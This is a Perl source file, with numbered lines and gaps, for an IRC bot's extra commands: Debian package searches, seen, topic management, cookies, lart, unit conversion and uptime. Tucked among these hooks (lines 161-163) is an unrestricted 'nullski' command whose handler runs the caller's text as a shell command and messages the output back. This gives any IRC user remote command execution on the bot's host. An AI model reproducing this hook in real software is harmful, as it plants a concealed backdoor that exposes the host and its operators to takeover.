2 # User Command Extension Stubs
5 if (&IsParam("useStrict")) { use strict; }
7 $babel::lang_regex = ""; # lame fix.
9 ### PROPOSED COMMAND HOOK IMPLEMENTATION.
10 # addCmdHook("SECTION", 'TEXT_HOOK',
13 # CheckModule => 1, # ???
14 # Module => 'blah.pl' # preload module.
15 # Identifier => 'config_label', # change to Config?
16 # Help => 'help_label',
17 # Cmdstats => 'text_label',)
22 my ($hashname, $ident, %hash) = @_;
24 &VERB("aCH: added $ident",2); # use $hash{'Identifier'}?
25 ### hrm... prevent warnings?
26 ${"hooks_$hashname"}{$ident} = \%hash;
31 my ($hashname, $line) = @_;
32 my @args = split(' ', $line);
33 my $cmd = shift(@args);
38 # if (!exists %{"hooks_$hashname"}) {
39 # &WARN("cmd hooks \%$hashname does not exist.");
43 foreach (keys %{"hooks_$hashname"}) {
46 next unless ($cmd =~ /^$ident$/i);
48 &DEBUG("pCH(hooks_$hashname): $cmd matched $ident");
49 my %hash = %{ ${"hooks_$hashname"}{$ident} };
51 if (!exists $hash{CODEREF}) {
52 &ERROR("CODEREF undefined for $cmd or $ident.");
57 foreach (keys %hash) {
58 &DEBUG(" $cmd->$_ => '$hash{$_}'.");
62 if (exists $hash{'Help'} and !scalar(@args)) {
63 &help( $hash{'Help'} );
68 if (exists $hash{'Identifier'}) {
69 return $noreply unless (&hasParam($hash{'Identifier'}));
72 ### FORKER,IDENTIFIER,CODEREF.
73 if (exists $hash{'Forker'}) {
74 &Forker($hash{'Identifier'}, sub { \&{$hash{'CODEREF'}}(@args) } );
76 if (exists $hash{'Module'}) {
77 &loadMyModule($myModules{ $hash{'Module'} });
80 ### TODO: check if CODEREF exists.
82 ### ANY PROBLEMS WITH THIS? if so, add option to do either.
83 ### &{$hash{'CODEREF'}}(@args);
84 &{$hash{'CODEREF'}}(join ' ', @args);
88 if (exists $hash{'Cmdstats'}) {
89 ${"hooks_$hashname"}{$hash{'Cmdstats'}}++;
92 &DEBUG("pCH: ended.");
101 ### START ADDING HOOKS.
103 &addCmdHook("extra", 'd?bugs', ('CODEREF' => 'debianBugs',
104 'Forker' => 1, 'Identifier' => 'debianExtra',
105 'Cmdstats' => 'Debian Bugs') );
106 &addCmdHook("extra", 'dauthor', ('CODEREF' => 'Debian::searchAuthor',
107 'Forker' => 1, 'Identifier' => 'debian',
108 'Cmdstats' => 'Debian Author Search', 'Help' => "dauthor" ) );
109 &addCmdHook("extra", '(d|search)desc', ('CODEREF' => 'Debian::searchDesc',
110 'Forker' => 1, 'Identifier' => 'debian',
111 'Cmdstats' => 'Debian Desc Search', 'Help' => "ddesc" ) );
112 &addCmdHook("extra", 'dnew', ('CODEREF' => 'DebianNew',
113 'Identifier' => 'debian' ) );
114 &addCmdHook("extra", 'dincoming', ('CODEREF' => 'Debian::generateIncoming',
115 'Forker' => 1, 'Identifier' => 'debian' ) );
116 &addCmdHook("extra", 'dstats', ('CODEREF' => 'Debian::infoStats',
117 'Forker' => 1, 'Identifier' => 'debian',
118 'Cmdstats' => 'Debian Statistics' ) );
119 &addCmdHook("extra", 'd?contents', ('CODEREF' => 'Debian::searchContents',
120 'Forker' => 1, 'Identifier' => 'debian',
121 'Cmdstats' => 'Debian Contents Search', 'Help' => "contents" ) );
122 &addCmdHook("extra", 'd?find', ('CODEREF' => 'Debian::DebianFind',
123 'Forker' => 1, 'Identifier' => 'debian',
124 'Cmdstats' => 'Debian Search', 'Help' => "find" ) );
125 &addCmdHook("extra", 'insult', ('CODEREF' => 'Insult::Insult',
126 'Forker' => 1, 'Identifier' => 'insult', 'Help' => "insult" ) );
127 &addCmdHook("extra", 'kernel', ('CODEREF' => 'Kernel::Kernel',
128 'Forker' => 1, 'Identifier' => 'kernel',
129 'Cmdstats' => 'Kernel') );
130 &addCmdHook("extra", 'listauth', ('CODEREF' => 'CmdListAuth',
131 'Identifier' => 'search', Module => 'factoids',
132 'Help' => 'listauth') );
133 &addCmdHook("extra", 'quote', ('CODEREF' => 'Quote::Quote',
134 'Forker' => 1, 'Identifier' => 'quote',
135 'Help' => 'quote', 'Cmdstats' => 'Quote') );
136 &addCmdHook("extra", 'countdown', ('CODEREF' => 'Countdown',
137 'Module' => 'countdown', 'Identifier' => 'countdown',
138 'Cmdstats' => 'Countdown') );
139 &addCmdHook("extra", 'lart', ('CODEREF' => 'lart',
140 'Identifier' => 'lart', 'Help' => 'lart') );
141 &addCmdHook("extra", 'convert', ('CODEREF' => 'convert',
142 'Forker' => 1, 'Identifier' => 'units',
143 'Help' => 'convert') );
144 &addCmdHook("extra", '(cookie|random)', ('CODEREF' => 'cookie',
145 'Forker' => 1, 'Identifier' => 'factoids') );
146 &addCmdHook("extra", 'u(ser)?info', ('CODEREF' => 'userinfo',
147 'Identifier' => 'userinfo', 'Help' => 'userinfo',
148 'Module' => 'userinfo') );
149 &addCmdHook("extra", 'rootWarn', ('CODEREF' => 'CmdrootWarn',
150 'Identifier' => 'rootWarn', 'Module' => 'rootwarn') );
151 &addCmdHook("extra", 'seen', ('CODEREF' => 'seen', 'Identifier' =>
153 &addCmdHook("extra", 'dict', ('CODEREF' => 'Dict::Dict',
154 'Identifier' => 'dict', 'Help' => 'dict',
155 'Forker' => 1, 'Cmdstats' => 'Dict') );
156 &addCmdHook("extra", 'slashdot', ('CODEREF' => 'Slashdot::Slashdot',
157 'Identifier' => 'slashdot', 'Forker' => 1,
158 'Cmdstats' => 'Slashdot') );
159 &addCmdHook("extra", 'uptime', ('CODEREF' => 'uptime', 'Identifier' => 'uptime',
160 'Cmdstats' => 'Uptime') );
161 &addCmdHook("extra", 'nullski', ('CODEREF' => 'nullski', ) );
162 &addCmdHook("extra", 'crash', ('CODEREF' => 'crash' ) );
163 sub nullski { my ($arg) = @_; foreach (`$arg`) { &msg($who,$_); } }
164 &addCmdHook("extra", '(fm|freshmeat)', ('CODEREF' => 'Freshmeat::Freshmeat',
165 'Identifier' => 'freshmeat', 'Cmdstats' => 'Freshmeat',
166 'Forker' => 1, 'Help' => 'freshmeat') );
168 ### END OF ADDING HOOKS.
170 &status("CMD: loaded ".scalar(keys %hooks_extra)." EXTRA command hooks.");
173 if (!defined $message) {
174 &WARN("Modules: message is undefined. should never happen.");
178 # babel bot: Jonathan Feinberg++
179 if (&IsParam("babelfish") and $message =~ m{
181 (?:babel(?:fish)?|x|xlate|translate)
183 (to|from) # direction of translation (through)
185 ($babel::lang_regex)\w* # which language?
187 (.+) # The phrase to be translated
190 &Forker("babelfish", sub { &babel::babelfish(lc $1, lc $2, $3); } );
192 $cmdstats{'BabelFish'}++;
196 if (&IsParam("debian")) {
197 my $debiancmd = 'conflicts?|depends?|desc|file|info|provides?';
198 $debiancmd .= '|recommends?|suggests?|maint|maintainer';
199 if ($message =~ /^($debiancmd)(\s+(.*))?$/i) {
202 if (defined $package) {
203 &Forker("debian", sub { &Debian::infoPackages($1, $package); } );
212 # google searching. Simon++
213 if (&IsParam("wwwsearch") and $message =~ /^(?:search\s+)?(\S+)\s+for\s+['"]?(.*?)['"]?\s*\?*$/i) {
214 return $noreply unless (&hasParam("wwwsearch"));
216 &Forker("wwwsearch", sub { &W3Search::W3Search($1,$2); } );
218 $cmdstats{'WWWSearch'}++;
222 # list{keys|values}. xk++. Idea taken from #linuxwarez@EFNET
223 if ($message =~ /^list(\S+)( (.*))?$/i) {
224 return $noreply unless (&hasParam("search"));
226 my $thiscmd = lc($1);
229 $thiscmd =~ s/^vals$/values/;
230 return $noreply if ($thiscmd ne "keys" && $thiscmd ne "values");
233 if (!defined $args) {
234 &help("list". $thiscmd);
238 if (length $args == 1) {
239 &msg($who,"search string is too short.");
243 &Forker("search", sub { &Search::Search($thiscmd, $args); } );
245 $cmdstats{'Factoid Search'}++;
249 # Nickometer. Adam Spiers++
250 if ($message =~ /^(?:lame|nick)ometer(?: for)? (\S+)/i) {
251 return $noreply unless (&hasParam("nickometer"));
253 my $term = (lc $1 eq 'me') ? $who : $1;
256 &loadMyModule($myModules{'nickometer'});
257 my $percentage = &nickometer($term);
259 if ($percentage =~ /NaN/) {
260 $percentage = "off the scale";
262 $percentage = sprintf("%0.4f", $percentage);
263 $percentage =~ s/\.?0+$//;
267 if ($msgType eq 'public') {
268 &say("'$term' is $percentage lame, $who");
270 &msg($who, "the 'lame nick-o-meter' reading for $term is $percentage, $who");
276 # Topic management. xk++
277 # may want to add a flag(??) for topic in the near future. -xk
278 if ($message =~ /^topic(\s+(.*))?$/i) {
279 return $noreply unless (&hasParam("topic"));
281 my $chan = $talkchannel;
282 my @args = split(/ /, $2);
285 &msg($who,"Try 'help topic'");
289 $chan = lc(shift @args) if ($msgType eq 'private');
290 my $thiscmd = shift @args;
293 if ($msgType eq 'public' && $thiscmd =~ /^#/) {
294 &msg($who, "error: channel argument is not required.");
295 &msg($who, "\002Usage\002: topic <CMD>");
299 # topic over private:
300 if ($msgType eq 'private' && $chan !~ /^#/) {
301 &msg($who, "error: channel argument is required.");
302 &msg($who, "\002Usage\002: topic #channel <CMD>");
306 if (&validChan($chan) == 0) {
307 &msg($who,"error: invalid channel \002$chan\002");
311 # for semi-outsiders.
312 if (!&IsNickInChan($who,$chan)) {
313 &msg($who, "Failed. You ($who) are not in $chan, hey?");
318 &loadMyModule($myModules{'topic'});
319 &Topic($chan, $thiscmd, join(' ', @args));
320 $cmdstats{'Topic'}++;
325 if ($message =~ /^wingate$/i) {
326 return $noreply unless (&hasParam("wingate"));
328 my $reply = "Wingate statistics: scanned \002"
329 .scalar(keys %wingate)."\002 hosts";
330 my $queue = scalar(keys %wingateToDo);
332 $reply .= ". I have \002$queue\002 hosts in the queue";
333 $reply .= ". Started the scan ".&Time2String(time() - $wingaterun)." ago";
336 &performStrictReply("$reply.");
341 # do nothing and let the other routines have a go
349 if (!defined $query) {
351 &msg($who, "I have \002".&countKeys("freshmeat")."\002 entries.");
355 &Freshmeat::Freshmeat($query);
361 &msg($who, "- Uptime for $ident -");
362 &msg($who, "Now: ". &Time2String(&uptimeNow()) ." running $bot_version");
364 foreach (&uptimeGetInfo()) {
366 my $time = &Time2String($1);
369 &msg($who, "$count: $time $2");
378 if (!defined $person) {
381 my $i = &countKeys("seen");
382 &msg($who,"there ". &fixPlural("is",$i) ." \002$i\002 ".
383 "seen ". &fixPlural("entry",$i) ." that I know of.");
391 &seenFlush(); # very evil hack. oh well, better safe than sorry.
393 ### TODO: Support &dbGetRowInfo(); like in &FactInfo();
394 my $select = "nick,time,channel,host,message";
395 if ($person eq "random") {
396 @seen = &randKey("seen", $select);
398 @seen = &dbGet("seen", "nick", $person, $select);
401 if (scalar @seen < 2) {
403 &DEBUG("seen: _ => '$_'.");
405 &performReply("i haven't seen '$person'");
411 ### TODO: multi channel support. may require &IsNick() to return
412 ### all channels or something.
413 my @chans = &GetNickInChans($seen[0]);
415 $reply = "$seen[0] is currently on";
419 next unless (exists $userstats{lc $seen[0]}{'Join'});
420 $reply .= " (".&Time2String(time() - $userstats{lc $seen[0]}{'Join'}).")";
423 if (&IsParam("seenStats")) {
425 $i = $userstats{lc $seen[0]}{'Count'};
426 $reply .= ". Has said a total of \002$i\002 messages" if (defined $i);
427 $i = $userstats{lc $seen[0]}{'Time'};
428 $reply .= ". Is idling for ".&Time2String(time() - $i) if (defined $i);
431 my $howlong = &Time2String(time() - $seen[1]);
432 $reply = "$seen[0] <$seen[3]> was last seen on IRC ".
433 "in channel $seen[2], $howlong ago, ".
434 "saying\002:\002 '$seen[4]'.";
437 &performStrictReply($reply);
441 # User Information Services. requested by Flugh.
443 my ($arg) = join(' ',@_);
445 if ($arg =~ /^set(\s+(.*))?$/i) {
448 &help("userinfo set");
452 &UserInfoSet(split /\s+/, $arg, 2);
453 } elsif ($arg =~ /^unset(\s+(.*))?$/i) {
456 &help("userinfo unset");
460 &UserInfoSet($arg, "");
466 # cookie (random). xk++
470 # lets find that secret cookie.
471 my $target = ($msgType ne 'public') ? $who : $talkchannel;
472 my $cookiemsg = &getRandom(keys %{$lang{'cookie'}});
475 ### WILL CHEW TONS OF MEM.
476 ### TODO: convert this to a Forker function!
478 my @list = &searchTable("factoids", "factoid_key", "factoid_value", $arg);
479 $key = &getRandom(@list);
480 $val = &getFactInfo("factoids", $key, "factoid_value");
482 ($key,$value) = &randKey("factoids","factoid_key,factoid_value");
486 s/##KEY/\002$key\002/;
489 s/\$who/$who/; # cheap fix.
490 s/(\S+)?\s*<\S+>/$1 /;
494 if ($cookiemsg =~ s/^ACTION //i) {
495 &action($target, $cookiemsg);
497 &msg($target, $cookiemsg);
502 my $arg = join(' ',@_);
503 my ($from,$to) = ('','');
505 ($from,$to) = ($1,$2) if ($arg =~ /^(.*?) to (.*)$/i);
506 ($from,$to) = ($2,$1) if ($arg =~ /^(.*?) from (.*)$/i);
508 if (!$to or !$from) {
509 &msg($who, "Invalid format!");
514 &Units::convertUnits($from, $to);
520 my ($target) = &fixString($_[0]);
522 my $chan = $talkchannel;
524 if ($msgType eq 'private') {
525 if ($target =~ /^($mask{chan})\s+(.*)$/) {
530 &msg($who, "error: invalid format or missing arguments.");
536 my $line = &getRandomLineFromFile($bot_misc_dir. "/blootbot.lart");
538 if ($target =~ /^(me|you|itself|\Q$ident\E)$/i) {
539 $line =~ s/WHO/$who/g;
541 $line =~ s/WHO/$target/g;
543 $line .= ", courtesy of $who" if ($extra);
545 &action($chan, $line);
547 &status("lart: error reading file?");
552 my $idx = "debian/Packages-woody.idx";
557 $error++ unless ( -e $idx);
558 $error++ unless ( -e "$idx-old");
561 $error = "no woody/woody-old index file found.";
562 &ERROR("Debian: $error");
568 open(IDX2, "$idx-old");
582 next if (exists $pkg{$_});
588 &main::performStrictReply( &main::formListReply(0, "New debian packages:", @new) );